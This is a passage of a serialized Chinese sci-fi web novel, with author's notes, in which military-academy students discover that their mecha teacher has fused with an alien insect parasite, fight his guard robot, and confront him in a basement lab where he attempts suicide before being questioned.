漂亮的金黄色头发像麦浪一般闪烁,衬得他冷白的皮肤分外靓丽。 “你有空的话——”颂千纱蹙眉片刻,看向身边的时循:“我们六个一起吃个饭?” 时循看着颂千纱的奇怪反应,眉心拧紧。 林清澜眼中笑意更深,他的目光落在时循身上停留片刻,顿了顿,微微敛眸。 颂千纱观察着他的眼神,像是有过挣扎,他的手指用力抓着衣角,指节泛白。 随后微微甩了甩头,那种挣扎便从脸上消失了,恢复一如既往的温和。 半晌后抬头扬起一丝抱歉的笑,看向颂千纱:“今天不行,今天老师有事,过几天我请你们吃。” 话毕,他对着五人点了点头就走出教室,脚步匆匆。 颂千纱对几人勾了勾手,挡住嘴小声道:“跟踪他。” 五人鬼鬼祟祟地跟上,林清澜看起来并没有发现他们,转角去了航行舰停放处。 他上航行舰时微微偏头,眼中神色莫测,半分钟后,他踩下油门。 五人也跟着上了自己的航行舰,但还没启动就被一位老师拦下了。 “老师,我们有急事!”颂千纱探出头去,试图蒙混过关。 女老师叉着腰,根本不吃颂千纱这一套,把航行舰敲的铛铛响:“查寝一周没见你们了,又准备溜出校门去干嘛?!” “不去寝室要和老师打招呼不知道吗?!”老师让他们开门下来:“下来!现在去食堂吃饭,吃完饭写检讨!五个人下午交给我!” 五人在原地,看着林清澜的航行舰扬长而去。 胤允坐在车里,一只手撑着脑袋睨老师:“啰嗦。” 老师:“你!再加五千字!” 胤允:“……” 几人老老实实写完检讨,回来时太阳直射在身上驱散寒意,照的人暖洋洋的。 校园热闹的氛围与平常没什么两样,让人不由自主的放松。 但这股放松的氛围似乎没有传染给颂千纱。 “纱纱,今天怎么不在状态?发现什么了吗?”齐焦双手抱着脑袋,一脸惬意地瞥向颂千纱。 颂千纱脸色绷紧,向四处张望了一会儿,确定附近没人后,开口道:“我当时闻到一股血腥味,你们有闻到吗?” “那股味道像是糜烂已久,甚至有点像是发酵了的味道。”颂千纱看向胤允。 胤允眉头微蹙,与颂千纱对视:“你走神的几次我都闻到了血腥味,可没有你说的那么浓,我也没有闻到糜烂的味道。” 剩下三人甚至表示自己没有闻到。 颂千纱眼中更加惊疑:“怎么会?!” 作者有话说:头好大,写完感情章看剧情就相似,推不下去,写完剧情章写感情章就要命,omg感觉燃尽了, 第57章 因为是机甲课,所以这次的教室在机甲师系。 林清澜下午来时,又恢复往日的温和。 这节课的人来得意外的多,时循提着精铁块坐在颂千纱左边,胤允大敞着坐在颂千纱右边。 齐焦坐在时循的右边,周之旭坐在胤允的左边。 颂千纱靠着胤允的肩膀,试着手搓录音球的零件。 四个人看起来对机甲师的课程都没什么兴趣,在林清澜来之前,有的在窗台拍着,有的刷着论坛。 而林清澜来之后,五人眼睛直直盯着林清澜,眼神亮晶晶的。 四人齐声:“老师,我们比较好学,所以也想来学学看!” 林清澜:“……” 林清澜懵了一瞬,站在讲台上僵住,半晌才反应过来,点了点头。 机甲师课是为颂千纱专门定制的。 原本是一对一授课,所以林清澜的计划里,大部分时间还是围绕着颂千纱使用精神力粗暴的行为,进行强行纠正。 他讲的认真,除了眼神偶尔停留在时循身上,对颂千纱知无不言,耐心解答着。 颂千纱也听的认真,不过除了她,剩余四人都在各玩各的,齐焦和周之旭在联机打小游戏,胤允盯妻狂魔,想各种办法和颂千纱贴贴,时循低着头,在不断捏着铁块。 颂千纱学得很快,在被纠正的同时就做好了许多发明。 比如改装时循隔音球,加装在机甲护盾上,这样机甲可以无声无息地偷袭别人。隔音球单独优化再加一个隐身功能,可以完美偷窥,等等。 总之都是稀奇古怪的功能。 学校允许产品增加新功能申请几分,胤允一个一个地帮颂千纱上传着。 做完一切后,就趴着看颂千纱,他很爱看颂千纱专注的样子。 不过在练习阶段,颂千纱已经被林清澜彻底放养。 “这个很珍贵?”颂千纱看着手中容器里的金色液体,问林清澜。 “嗯。”林清澜回得心意阑珊。 他的注意力全在时循铁块身上,教她怎么做最简单的机械。 时循并不太搭理他,有一下没一下的跟着他说的做。 他看起来很开心,整个人都肉眼可见的舒展,乐意贴冷屁股。 “液金可以增加融合度?”颂千纱翻了翻书再次提问。 “嗯。”林清澜已久敷衍。 颂千纱无语地了两秒,林清澜敲了敲桌子。 “就是辅助机甲师增加材料融合度。”在蹲着认真教时循捏铁块的林清澜身形一顿,眼中滑过一丝心虚。 他转头解释:“很多材料融合度很低,比如鲸晶和云陨,如果这两种珍惜材料可以融合,3S+机甲的硬度会更上一个层次。” “那他们用液金润一润就好了?”颂千纱摇了摇液金。 “不行。”林清澜摇头,眼睛依旧望着时循:“也全不是,就算有液金,这两个材料融合也极难成功,到现在也没人成功过。” 林清澜转头翻书,随后用手指点了点:“教科书上有,这两个材料,如果有机甲师融合度能超过五十,就已经算天才了。” 他敛眸,鲸晶于云陨的研究,他从六岁就开始了,在没有精神力的情况再能做到近四十。 “你手上有这两个材料吗?”时循眼神微闪,忽然插嘴,抬眼看向林清澜。 时循手臂搭在下巴上,眼神带着慵懒,直直地盯着林清澜。 林清澜怔了一瞬,抿唇望着时循,脸上忽然染上一层薄红。 他用手抵着唇干咳了两声,随手从粒子环里把这两个及其珍贵的材料递给颂千纱。 颂千纱瞥了眼时循。 时循扬了扬下巴,让颂千纱试试。 颂千纱又瞥了眼对面脸红的林清澜。 低头打开光脑,在群里疯狂睡群。 [颂千纱:林清澜看起来快摇尾巴了家人们,看到没有?][齐焦:时循魅魔来的。][胤允:……][周之旭:前男友贼心不死哦~]时循单手撑着脸,面无表情地睨着颂千纱。 颂千纱正在群里聊的正欢,莫名在左边感到一股寒意,缩了缩脖子,快速瞥了眼时循。 她捞起鲸晶和云陨,微微蹙眉,二者互相排斥,接触时的阻力很大,往近处放甚至会出现轻微的铮鸣声。 颂千纱挑眉,神识顷刻将二者包住,强行糅合在一起,可没过多久,两个材质还是分开了。 她闭眼,把神识融入两个材料,像是顺毛般把两个材料对冲的部分从中调和。 最后揉吧揉吧,推给时循。 颂千纱眨了眨眼睛,一脸无辜:“好了。” 课桌出现一丝裂痕,但没有彻底划破。 林清澜瞪大了眼睛:“……” 颂千纱的精神力像是两个材料的安抚剂,原本完全相斥的材料被完全糅合在一起,甚至没有出现任何裂痕。 新材料,外面透着一股冰冷的寒意,可内里炙热的温度却十分灼人。 原本一墨蓝,一深红的两块材料组成后竟然变成粉蓝色,不属于原本的任何一种材料,外表材质也与其中任何一种都不相同,但又融合了两者长处。 齐焦周之旭也不打游戏了,二人瞪大眼睛看着桌上的材料:“我的乖乖……” 时循下巴微扬,捏了捏手中铁块,神情莫测,用余光观察着林清澜的反应。 他眼中恍惚了一瞬,他立刻从粒子环拿出眼镜戴起来,扶眼镜的手微抖着,下一秒,他咳嗽了两声。 五十,七十,八十!还在涨! 眼睛内数值在不断跳动,融合的曲线在不断升高,过了半分钟才停下。 融合度百分之九十二! 他眼中的情绪汹涌,呼吸的变得急促,捂住嘴,开始不停地咳嗽。 林清澜像是要把身体里的器官吐出来一样:“你没用液金……咳咳……这么高的融合度,是怎么做到的?!” 他咳的厉害,脸上出现似有若无的青紫色。 时循眼神微眯,他的脸色与之前两人说话时的情形很像。 颂千纱歪头,抠了抠下巴,像是不知道怎么说,蹙着眉盯了一会儿天花板,后回答道:“随便揉了揉,用精神力给这两种材料顺毛。” 林清澜脑中嗡的一声。 下一刻,鲜血再次深处涌道口鼻,被他强咽下去,整个鼻腔内全是甜腥味。 林清澜自小在机甲师上天赋极高,用外置仪器融合过这二者材料,融合度能打到百分之四十,几乎所有见过他的人,都可惜或嘲笑他没有精神力。 所有人都说他不可能再进一步,他不气馁,研究了二十年,终于把融合度提高了百分之九。 可现在,颂千纱几乎成倍超越了他,速度几乎只用了五分钟。 他背过身去,像是想要掩盖什么,立刻把血迹擦干净,从粒子环中掏出鲜红色药粒吞下。 林清澜掩饰的过于着急,他没留意有一滴血从他手中滑落,滴到地上。 时循眼神微眯,瞥了眼地上的血迹,后数了数他现在的药量。 三颗。 颂千纱对林清澜的反应感到奇怪,就算被打击,这个反应是不是太过了? 但紧接着,她便不再注意这个,林清澜身上除了那股糜烂的血腥味,她嗅到一丝古怪又熟悉的味道。 她下意识望向胤允,可胤允依旧看着她,面色看起来毫无知觉。 颂千纱蹙眉向林清澜凑近,可还没来得及看到什么,那气味就消失了。 颂千纱眼中的古怪更盛。 咳嗽声没有立刻停止,但明显好了许多。 四个人看在眼里,齐焦挪了挪位置,靠的更边了些。 时循戳了戳颂千纱。 颂千纱会意,眼中红光微闪,接着一愣,眼中的疑惑快要溢了出来。 林清澜的血分明带着一股糜烂的味道,可血液里却没有丝毫虫族。 吐出来的血却是黑红的,很粘稠,颜色像是中毒已久,身体中又没有毒。 整个教师变得静谧,只有林清澜逐渐变小的咳嗽声。 被颂千纱糅合的新材料忽然发出一声嗡鸣。 林清澜忽然转过身摘下眼镜,神情变得十分桀骜。 他眼睛直直地盯着融合材料,伸手就要拿走,却被时循更快一步拿到手里。 她看向林清澜,眼神很淡:“林老师,给学生的东西没有拿回去的道理吧?” 林清澜原本桀骜的表情变得暴戾,额头似有轻筋爆起,他一把从时循手中抢夺材料,却还是没有成功。 他愤怒地朝她龇牙,指节泛白,眼神像是对时循的恨意入骨。 二人就这样对峙了几秒,接着,他眼珠一转,嘴角勾起一丝嘲讽的笑。 “我研究了这么多年都没有成功,这材料对我有多重要,你不知道吗?”他俯下身子,眼神让人不寒而栗,像是在端详时循,却又不太像在看人:“你看起来,也没有很爱我啊。” 他说这话的时候,眼神中带着明显的嘲讽,像是在嘲讽他人。 时循绷着脸,脸色变得古怪,蹙眉与他对视。 林清澜从不说这种话。 他的性情像是在一瞬间就发生了转变,原本温和儒雅的性格变成了一个披着人皮的野兽,看人的眼神让人胆寒。 颂千纱看着他的样子,有种诡异的熟悉感,像是被压抑了很久,还未褪去兽性的小妖。 林清澜趁时循发愣,一把夺过他手中的材料。 忽然,他头上轻筋跳动的更快,林清澜甩了甩头,像是想要把脑中的什么东西甩出去。 远处被林清澜随手放在讲台的蓝色小球对着林清澜闪出一道红光,闪烁了一下很快恢复原样,无人察觉。 新材料砰的一声,掉在了地上。林清澜嘴里发出一声闷哼,紧接着昏倒在地。 五人都不由站了起来,时循离他最近,也最快,她打横抱起林清澜,往航行舰处跑:“走。” 齐焦和周之旭起身跟上时循,颂千纱收起新材料,与胤允慢上一步。 那小球亮了起来,自动闪烁着蓝光,悬空浮在讲台上。 半晌,竟跟着林清澜飞了出去。 作者有话说:马上要拉时间线了 第58章 林清澜的重量更轻了,比前两天还要像个空壳。 时循蹙眉颠了颠,不知道是不是错觉。 几人刚到楼下就被林淼拦住。 “时小姐,请把少爷交给我。”林淼语气恭敬。 时循依旧抱着林清澜,望向林淼的表情变得莫测:“林淼,他生出一个截然不同的性格?” 楼上有一个身影僵住,他屏住呼吸站在原地没动。 林淼的眼睛红了一瞬,继而再次变蓝,看向五人,上前一步要接过林清澜:“没有,时小姐。” 闪红光的那一瞬,颂千纱在林淼身上嗅到一股杀意。 齐焦眼神微眯,手伸到腰后握紧手枪。 颂千纱眼神微凛,粒子环里掏出一把枪,对准林淼:“说,林清澜是不是被虫族寄生了?” 机甲师系还没有放学,只有树叶的沙沙响声。 林淼的目光落在颂千纱身上,看不出在思考什么。 四人都望向颂千纱,眼神带着惊讶,手里也不由自主地握紧了武器,时循低头思忖。 半晌,像是想到了什么,眼神微闪,蹲下身把林清澜放置在地上,伸手扯住林清澜衣服的下摆,想要往上拉。 “咔哒——”林淼的枪离时循仅有一寸,对准了她的脑门:“时小姐,请不要动少爷的衣服,把他交给我。” 五人手中的枪也瞬间上膛,对准林淼。 齐焦挑了挑眉,眼中全是调笑,姿势松散地对准林淼:“为什么不能看?因为看了会发现你们少爷没有腹肌?” 周之旭瞥了一眼倒地的林清澜,中肯地接了一句:“肯定没有。” 颂千纱也忍不住瞥了一眼林清澜的腹部。 场上就连风也凝固了一瞬。 时循对齐焦翻了个白眼。 视线再次落在林淼身上,时循嘴角一勾,丝毫不惧她的枪对准脑门。抬手点了点林淼的枪管,看着林淼:“这算是承认是虫族了?” 时循敛眸看向林清澜。 林清澜的唇角很白,金色的发丝被黏上血迹,染上一丝暗红,整个人像是正在沐浴阳光,等待拯救的病美人。 时循轻轻叹了口气,把他轻轻放在地上,接着,她眼神一厉。 她瞬间抓住枪筒往下对准林清澜,随后翻身一跃。 胤允右手举起战戟,左手拿枪,与时循配合。 二人一高一低,闪身朝林淼面门捅去。周之旭与齐焦同时后退一步,抽枪射击。 林淼往空中用力一跳,抽刀反击,挡掉远处子弹,另一只手化为兵刃抽到斩向时循。 颂千纱趁乱闪身至林清澜身边,摸向他的胸口,眉头一蹙。 紧接着掀开他的衣服,双眸红光微闪。 林清澜腹部大片的青紫,颂千纱忍不住抽了口气。 尸斑。 再往上看,引入眼帘的是血管,一下下地正在蠕动着,胸腔被一面不知道什么材质的透明罩罩住,里面是更令人震惊的一幕。 他没有内脏,里面完全是空的。 颂千纱眉头蹙的死紧,咬住下唇。 林清澜应该是已经和体内的虫族融为一体了,刚刚那个暴戾的意识,是虫族。 但这具身体早就被虫族啃食殆尽,他怎么会活这么久? 颂千纱眼中红光更盛,视线寻找了许久,半晌,落在了他的腹部。 “!!!” 颂千纱瞳孔紧缩,转头朝混战中的四人大声道:“是虫——呃!!” 她没有防备,瞬间被一股强劲的力量打飞出去。 是林清澜。 她飞出很远,震得血从嘴角溢了出来。身上金光大盛,一件黑底金边的龙鳞衣显形。 胤允抿唇,怒气蒸腾,眼中金光闪烁,他全力挥出一刀,把林淼一臂斩下。 他朝颂千纱疾驰。 “好香,你就是母亲一直等待的那个人……”林清澜的神色显然带着迷醉,表情狰狞地朝颂千纱走去。 颂千纱来不及惊讶身上的铠甲。 她神色紧绷,紧盯着朝她走来的林清澜,立刻起身开枪。 可子弹打穿他的身体,粘稠的血液缓缓流出,他脸色变得更加苍白,像是没有痛觉一般,片刻就自动愈合。 林清澜嘴角勾起一丝笑,瞬移到颂千纱面前。 掐住她的脖子把她抵在树上,缓缓举起。 颂千纱手掌在背后不断比划着什么,闪烁着微微红光,但她表情不变,冷冷地看着林清澜。 他浑身上下都散发着诡异,身体像是死人,可表情鲜活,动作灵敏。 时循有些焦急地想要解决林淼,但没有了胤允,她与齐焦周之旭三人,对付林淼实在有些吃力。 她忍不住转头往林清澜那边看去,却被林淼打中左臂,她闷哼一声,头也不回地朝颂千纱处跑去,神色中满是不可置信:“林清澜!你敢!” 林清澜身形顿了顿,神色像是挣扎了一瞬,他甩了甩头,眼中闪过一丝怒意,手掐的更重。 颂千纱视线有些发黑。 他表情切换的很快,神情下一瞬又变得妖冶,头向颂千纱靠近,不断嗅闻着她血的芳香,眼睛完全变黑:“你的血……” 林清澜伸出舌头想要舔舐她嘴角的血迹,颂千纱表情更冷,手正要转过来,却又收回,嘴角微勾。 空气中传来一声嗡鸣,一把战戟甩了过来,直接穿透了林清澜的腰,把他钉在墙壁上。 “嗡——”胤允左手搂过颂千纱下坠的身子,一个箭步冲上去拔出战戟,往后一挥,将要上前的救人的林淼半个脑袋划开。 他暴戾地看着林清澜,眼中全是杀意:“你想死!我成全你!” 战戟翻转,削下林清澜右边鬓发,直接冲着他的面门刺去。 “!!” 林清澜漆黑的瞳孔中倒映出战戟的寒光,他脸上却没有丝毫恐惧,甚至挂着笑意,手指却轻颤了一下。 战戟距离林清澜眼睛一寸处停下,是一双素白的手轻轻拉住了胤允的袖子。 颂千纱朝后方望去,面色紧绷,小声喝道:“收枪!” 空气静了一瞬,她们不约而同地对视一眼。 下一瞬,五人动作整齐划一地倒下。 林清澜眼睛再次变回常人,但瞳孔还留着一圈将消未消的暗色。 他的表情忽然变得痛苦,捂住头痛苦的喊叫。 没过多久,他再次昏死过去。 席辉年赶到时,林淼的半个脑壳要掉不掉地挂在肩上,望着一地血迹,和哭爹喊娘的五人。 他表情逐渐从严肃变成震怒,环视了一周后,叉腰瞪着林淼。 林淼:“……” 席辉年大怒,手指不断颤动指着地面:“林淼,打学生打见血了?!这里是克林迪斯军校!你欺人太甚!” 林淼:“…………” 可能是脑壳被削掉了半个,她卡壳了许久才朝着席辉年鞠躬致歉。 她走上前扶起昏倒在地的林清澜,在耳旁说了一句好的,转头向席辉年道:“林家会承担医药费和损失,这里的监控我已经删除了。请转告校长,这次的学院大比,林家会向联盟请求,提前开赛。” 话毕,她抱起林清澜扬长而去。 在不远处在楼道藏起来的小球忽然发出声响。 它飘到林淼脑袋上,迅速与之融合,很快,林淼的脚步就变得稳健,脑袋的裂痕也逐渐变得完整。 颂千纱眼神微眯。 席辉年的表情变得凝重,他转过头看向齐焦与周之旭二人:“你们刚刚做什么了?老实说!” 齐焦瞄了眼席辉年身后的三人,又与周之旭对视片刻,干咳了两声:“我们上课,林清澜忽然晕倒,我们就要送他去医院,林淼在楼下揽着,我们就比划了一下。” 她瞥了眼颂千纱的脖颈,腰杆瞬间挺直,指着颂千纱:“你看!林清澜还掐了纱纱!” 颂千纱的脖子确实有一圈明显的掐痕,席辉年像是想到了什么,脸上凝重更盛。 他安抚了两句颂千纱,叮嘱她去医院,让五人回宿舍好好休息。接着他脚步匆匆,很快就离开,朝校长室跑去。 风再次骤起,这次的风很大,把几人的衣摆吹得纷飞,林清澜的血液在缓缓渗进水泥,风干了一会儿,暗红的血迹看起来彻底变成黑色。 胤允望着她脖颈处的掐痕,直接用力到泛白,脸上全是狠厉:“我要杀了林清澜,今晚。” 颂千纱蹙着眉,轻抚他的胸口给他顺气。 剩下三人表情各异。 谁也没出声阻止。 时循在原地坐了半晌,拍了拍手,第一个站了起来:“他很奇怪,先留一留。” 话毕,她跨过脚下还未干涸的粘稠血迹,朝食堂走去:“先吃饭吧。” 胤允像是一个躬身等待猎物的豹子,全身紧绷到极致。 他瞥向时循,眼神弥漫出冷意:“我不需要线索,伤了她,一定会被我杀死。” 时循脚步一顿,转头看向他:“我们要知道,是谁在背后运作,纱纱也想知道,伤害你的是谁。” 胤允紧绷的身子僵了僵,灼灼的看向颂千纱。 颂千纱扬起一个笑脸,主动牵起胤允。 带着他与齐焦并排往前走。 阳光有些刺眼,胤允抬眼看去,强光分外刺眼,胤允的眼眸细如针尖,他不留痕迹的瞥向颂千纱脖颈处的红痕,目光沉沉,滑过一丝狠意。 五人都陆续站了起来,离开了这里。 楼上的身影终于放松了肩膀,任由身子颤抖着往下滑,蹲在地上,粉毛一抖一抖地,满眼恐惧。 作者有话说:明天可能会休息一天,不一定 第59章 凌晨一点。 月亮高悬,女生宿舍的窗帘并没有拉上,时循躺在床上盯着月亮,下颌绷得很紧,出神地想着什么。 颂千纱床前的门帘已经拉上,她盯着天花板,抚上伴生纹。 齐焦坐在椅子上,拧着眉正在光脑中查着资料。 今天群里分外安静,话痨如周之旭都没有发消息。 大片云雾缓缓移动至月亮周围。 林清澜住处发着阵阵红光,院内戒备森严,机器与红外线不断扫描着每一处。 一阵风吹过,院内唯一一棵苹果树微微晃动。 红外线似乎检查到了一瞬异常,所有摄像头停滞了半秒,又继续转动,一切如常。 一双金眸在伸手不见五指的黑夜中分外显眼,如同正在捕猎的野兽,他目标明确,朝着地下室迅速疾驰。 地下室内。 屋内的林淼正在不断调试数值。 林清澜闭着眼,表情十分痛苦,可所有的声音都被液体隔离吞噬。 他浑身赤裸。脖颈、腰腹,四肢被钢铁死死禁锢,浸泡在治疗舱内,胸口的透明罩已经不见,胸腔里不断有什么在蠕动着。 门外忽然有一阵风吹过,林淼骤然转身,眼睛变红闪身冲出去。 地下室忽然发出一声巨大的声响。 林清澜昏沉的意识被强行唤醒,他恍惚了一瞬,眉头蹙了起来。 强忍着撕裂的疼痛,他用力睁眼往门口瞥去。 灯光很暗,几乎约等于没有,林清澜看着林淼在阴影处劈了一拳,就被人用蛮力硬生生把腿拆除。 他心头一惊。 林淼是他优化的战斗机器人,怎么会被人一招制敌。 林淼胸口处的核心随便被男人随手扔在地上,头也被硬生生砍了下来,身形高大的男人在手中随意抛了抛。 男人的身影一寸寸进入林清澜的视线。 他轻描淡写的把林淼连身子带头一起扔了出去,关上门,转头看向林清澜。 是胤允。 林清澜的眼神一动也不动地盯着他,眼神带着复杂。 胤允睇他一眼。 治疗舱与那日在军区医院内见到的一样,里面全是虫族,有所不同的是,这里面的虫族似乎都在被林清澜吞噬。 虫族自噬,也算一种维持他身体的活法。 胤允瞥着他,嘴角轻哂。 他在操作台上按了几个键,林清澜身上的束缚被瞬间解开,治疗液也顷刻消失。 胤允转身抱臂,眼神淡淡:“出来。” 治疗液消失的瞬间,林清澜倒在舱底,像是一条离了水的鱼,胸口的大洞不断往外渗水。 他喘了好一会儿,终于缓缓爬起来,走出治疗舱,狼狈地起身:“你果然来了。” 胤允不说话,依旧睨着他。 林清澜皮肤苍白的像死人,腰腹的尸斑也十分显眼。 他的神情温和自若,眼下的疲惫丝毫没有影响他的状态,不急不徐地走到身后的更衣室,穿戴整齐才出来。 林清澜拿了两杯水,一杯递给胤允:“是来杀我的?” 胤允坐在刚刚林淼的位置,手撑着头接过水杯。 “是。” 他的身体修长,双腿交叠着放在一起,让原本看起来合适的凳子变得局促。 林清澜从身边拿出一匹毛巾擦了擦头发,朝胤允走去,在他边上坐下。 他的背佝偻着,目光淡然看向胤允:“你怎么知道我在这?” “你研究了我五年,猜不出来?”胤允的目光移向身边的巨大操作台,几秒后又意味深长的与他对视。 二人都很高大,一个气质温和淡雅,一个目光张扬,他们对峙着,让宽大的操作台一瞬间变得逼仄。 “你果然早就知道。”林清澜嘴角轻扯,盯着胤允,眼中嘲意很浓:“你每次都能出乎我的意料,真是和——”他顿了顿,用力闭上了眼,喉咙滚动,声音哑了些:“抱歉,颂千纱还好吗?当时我有些失控,只察觉到它很渴望颂千纱的血。” 胤允站起来转身,下一瞬,战戟的寒意萦绕在林清澜脖颈间,面无表情:“你不该动觊觎她的念头。” “我没有觊觎她。”林清澜看着战戟,心中了然:“不过我猜对了,她果然很特殊。” 战戟更近一分,轻易割出血迹,胤允俯视他:“你的死法也会很特殊。” 他哂笑了一声,补了一句:“虫族。” 林清澜唇瓣抿起,握紧拳头,用力到颤抖。 他沉默了许久。 久到温和的脸庞变得扭曲,声音嘶哑:“我不是虫族!” 胤允对他的反应挑了挑眉。 他从上到下地打量了林清澜一番:“你的身体已经彻底与虫族同化了吧?” “……” 林清澜青筋爆起,脸色铁青,恨恨地盯着胤允,表情如恶鬼一般。 胤允眉毛微挑,用战戟不轻不重地拍了拍他的脸,眼中嘲意更盛。 “林老爷子知道吗?他半生戎马,竟然生出一个与虫族合作的孽畜。”胤允装作恍然大悟:“哦对了,你父母也是与虫族战死的吧?” “那又如何?如果不是他们,我怎么可能会成为废物,爱而不得,对所有渴望的事物望而却步!”林清澜爆喝,瞳孔黑了一圈,十分可怖:“我有什么错!我从未害人,只是想活下去!和时循在一起!” 声音回荡在整个地下室,他又有失控的征兆,甩了甩头,瞳孔不断的扩大又缩小。 “没伤害过别人?”胤允嗤笑:“和虫族合作会害死多少人,你不知道?!” “不是我牵头的,我也没有发展!我只是研究我自己的!”林清澜拍案而起,血液上涌:“我害死谁了?!” “你的研究让虫族入侵了多少人?虫族已经入侵了多少人,就死了多少人!”胤允眼中怒意更盛。 他的战戟直接捅穿林清澜的肩胛骨,把林清澜钉死在操作台上,掷地有声地喝道:“所以你就要让这里的百姓活不下去!用别人的尸骨换你一个人的活路?!” 这句话让林清澜瞬间回到从前,他目光空了一瞬。 时循说过同样的话,那时她意气风发,质问着父母的声音清脆又响亮。 不知何时,林清澜眼泪落了满脸。 滴答。 他成为了时循厌恶的人了吗? 他下意识转头想要看向窗外,可转头看到的,是被堵得密不透风的特殊材质水泥。 是八年前,他为了秘密实验,彻底封死了那抹月亮,亲手筑起这道心墙。 痛意从肩膀蔓延开来,可心脏传来的钝痛比肩胛骨强上百倍。 胤允脸上的嘲讽毫不遮掩,他转着圈拔出战戟,继续抵在林清澜的肩膀上,字字珠玑:“为了活下去不择手段,不惜生灵涂炭?你可真自私,难怪爱而不得。” 林清澜不说话,死死地盯着那处,用力咬着唇瓣,尝到嘴里的血腥味。 自作孽,自作孽。 地下室安静了许久,久到林清澜身上再也没有任何力气,蜷缩起来。 他的动作让战戟削下了几缕青丝,可林清澜恍若未闻,无心顾及。 林清澜绷着脸,盯着那堵墙看了许久。 他站起来,从粒子环中拿出一个老旧的光脑,上面串着一枚已经断裂的戒指,看起来很有年岁了。 他摩挲着戒指,神色恍惚了许久。 对机甲的执念不过是消磨时光的唯一手段,日子久了,自然也就成了自己唯一的依仗。 像是从麻木中清醒,痛苦忽然涌了上来。 其实林清澜一开始没那么想活下去,每天数着日子等待死亡的临幸。 可后来,他变得贪婪。 他喜欢时循,喜欢站在她身边的感觉,喜欢站在阳光下看她短发飘起的样子。 为了那束阳光,为了多看一眼那阳光下时循的笑容。 他的死期将至时,不想死了。 他开始寻找活下去的方法。 直到那个契机,他迫不及待地进入实验。 每天痛到昏迷,又再次被痛醒,每一寸都在被逐渐啃食。 整八年。 为了活下去,他对痛苦甘之如饴。 可这也让他错过了时循的八年,这八年里,她经历了太多。 眼下都没了继续的意义,就算活着,也没法再与她一起。 他成了彻头彻尾的怪物,失去了站在她身边的机会,也不再是她的爱人。 他脑中骤然闪出一瞬那虫族的记忆,是时循望着他时陌生的眼神,和满脸的不可置信。 林清澜扯出一丝笑,笑得很难看。 回不去了。 他瞥着墙微微失神,眼底的阴鸷与不甘都渐渐散去,只余下最初,跟了他十几年的、温和的绝望。 手指微微收紧,他这次笑得清雅,像是回到了八年前。 像是想通了,又像是释然。 他轻轻叹了口气,坐姿彻底松散,看向胤允:“你想知道的我都告诉你,能帮我把这堵墙砸了吗?” 林清澜指着那堵墙。 胤允抬眼看去,歪着头跃起,不可置否地砸了一拳。 墙碎了,碎的很轻易。 林清澜怔怔地望向墙外很久,窗外没有月亮,漆黑不见五指。 半晌,他把光脑递给胤允。 “循想要的都在这里,你把这个给她吧。” 话毕,林清澜手握住胤允战戟的刀刃,黏稠的血液顺着刀刃往下滴,他看起来更加苍白。 “我死了以后,虫族会彻底占领我的身体,你和它战斗要小心,它很强。”他四处张望,眼神中带着殷切,但半晌后,逐渐变得落寞。 时循没来,又或者,她不想现身。 他眼中带着自嘲。 这一生很多事没得选,好不容易选了一件,选错了。 可时光没法倒流。 回不去了,回不去了。 林清澜的指腹摩挲着戒指的裂口,视线看向那道被砸开的墙,喉结滚动。 下一秒,他闭上了眼,脖颈用力撞向战戟。 鲜血从脖颈迸发,痛意翻涌,他即刻昏死过去。 胤允正单手捣鼓着古董光脑,用力蹙眉,没预料到他的自戕。 还没问完,怎么就又要死了。 吗的。 他用力吐了口气,强压下不耐走过去,像拎起鸡仔一般拎起他的衣领。 下一瞬,林清澜骤然睁眼,整个眼眶都成了黑色,笑得邪肆。 他歪了歪头,畅快地活得着身体,双手瞬间化为虫足。 “这劳什子林清澜终于——”“砰——”地板一寸寸龟裂,操作台微微晃动。 他懒得听废话。 “你们虫族绝对是蟑螂演变而来的。”胤允眼中的不耐更盛,抓着林清澜的脑袋,一下一下地摔向地面,再被捞起:“修复好这具身体上的伤,叫林清澜出来!” “……” 地下室的砰砰声又闷又响,很有节奏感。 胤允的力道像是想把林清澜的头凿进地面。 “不然,你今天就会死在这里!” “砰——”胤允一下比一下重,丝毫不留手。 粘稠的暗红色血液不断从林清澜脑门蔓延。 “砰——”林清澜的四肢异化,脸上狠意更盛,迅速伸长冲着胤允砍去。 胤允面无表情地抓住,用力一拔,往后一甩。 尖锐的腿就这么插在天花板上。 他的手毫发无伤,虫族的四肢被一根根拔去。 虫族不甘心,他再次修复,可下一秒依旧被拔除。 灯光闪烁,地下室传来凄厉的惨叫声。 半小时后,天花板上插着许多虫族四肢,地上的林清澜身上全是血迹,却不见伤口,四肢分外白嫩。 地板出现一个巨大的坑洞,中央血迹满地,周围有虫族挣扎的痕迹,但看起来这点挣扎显然于事无补。 胤允用两根手指捏着浑身是血的林清澜的后脖领,把他拎起来,眼神里明晃晃地嫌弃。 脏死了,碰到以后估计颂千纱都不让他抱了。 他把人拎到洗手池洗了个手,顺便还把染上血迹的战戟冲了冲,放回粒子环。 做完一切后,胤允打开光脑,在群里发了条消息- 林清澜再次睁眼,身边坐着一圈人。 身体忽然变得轻盈许多,常年的疼痛也消失了,令他倍感惊诧。 他环视四周,时循坐在床前刷着破旧的光脑,剩下四人围成圈坐在时循身后,不约而同地刷着光脑,只有胤允歪着头淡淡睨他。 房间很安静。 “为什么不杀我?”林清澜声音嘶哑。 周围人瞥了他一眼后继续手中动作,没人回应。 “你怎么样?”时循问的很淡,目光依旧落在光脑上。 林清澜却受宠若惊,下意识坐了起来,被子滑落,他忽然感到一阵凉飕飕的。 “……” 他垂下头,手在被子里摸了摸,脸色瞬间涨红。 林清澜下意识捂住胸口:“我衣服呢!” 他愣了了两秒,忽然摸向胸前的肌肤。 “…………” 是皮肤。 他的脸色骤然绷紧,手指微蜷,眼中全是不可置信。 接着,林清澜用力捂住心口。 胸膛静悄悄的。 脏器不在,只是外面愈合了。 他滚烫的脸又凉了下来,嘴角的哂笑更浓。 “胤允威胁虫族,让他修复你的身体。”时循淡淡解释,语气像是汇报情况。 林清澜的心瑟缩了一阵,他喉咙发紧,若无其事地嗯了一声。 “救我是想问什么?”他脑子转的极快,嘴角勾起一抹自嘲。 “喝我的血多久了?”胤允问。 “三年。”林清澜顿了顿,头发还带着湿漉,眼神无光。 胤允睨着他:“虫族和人融合的实验是什么时候开始的?” “八年前。” 话毕,胤允蹙了蹙眉,像是在回忆什么,半晌,他再次看向林清澜:“谁在与虫族合作?” “许多势力都在研究这个。” “你怎么知道你死后,虫族会掌握你的身体,而不是从你的身体里逃脱?”时循放下光脑,眼神平静无波,一副公事公办的态度。 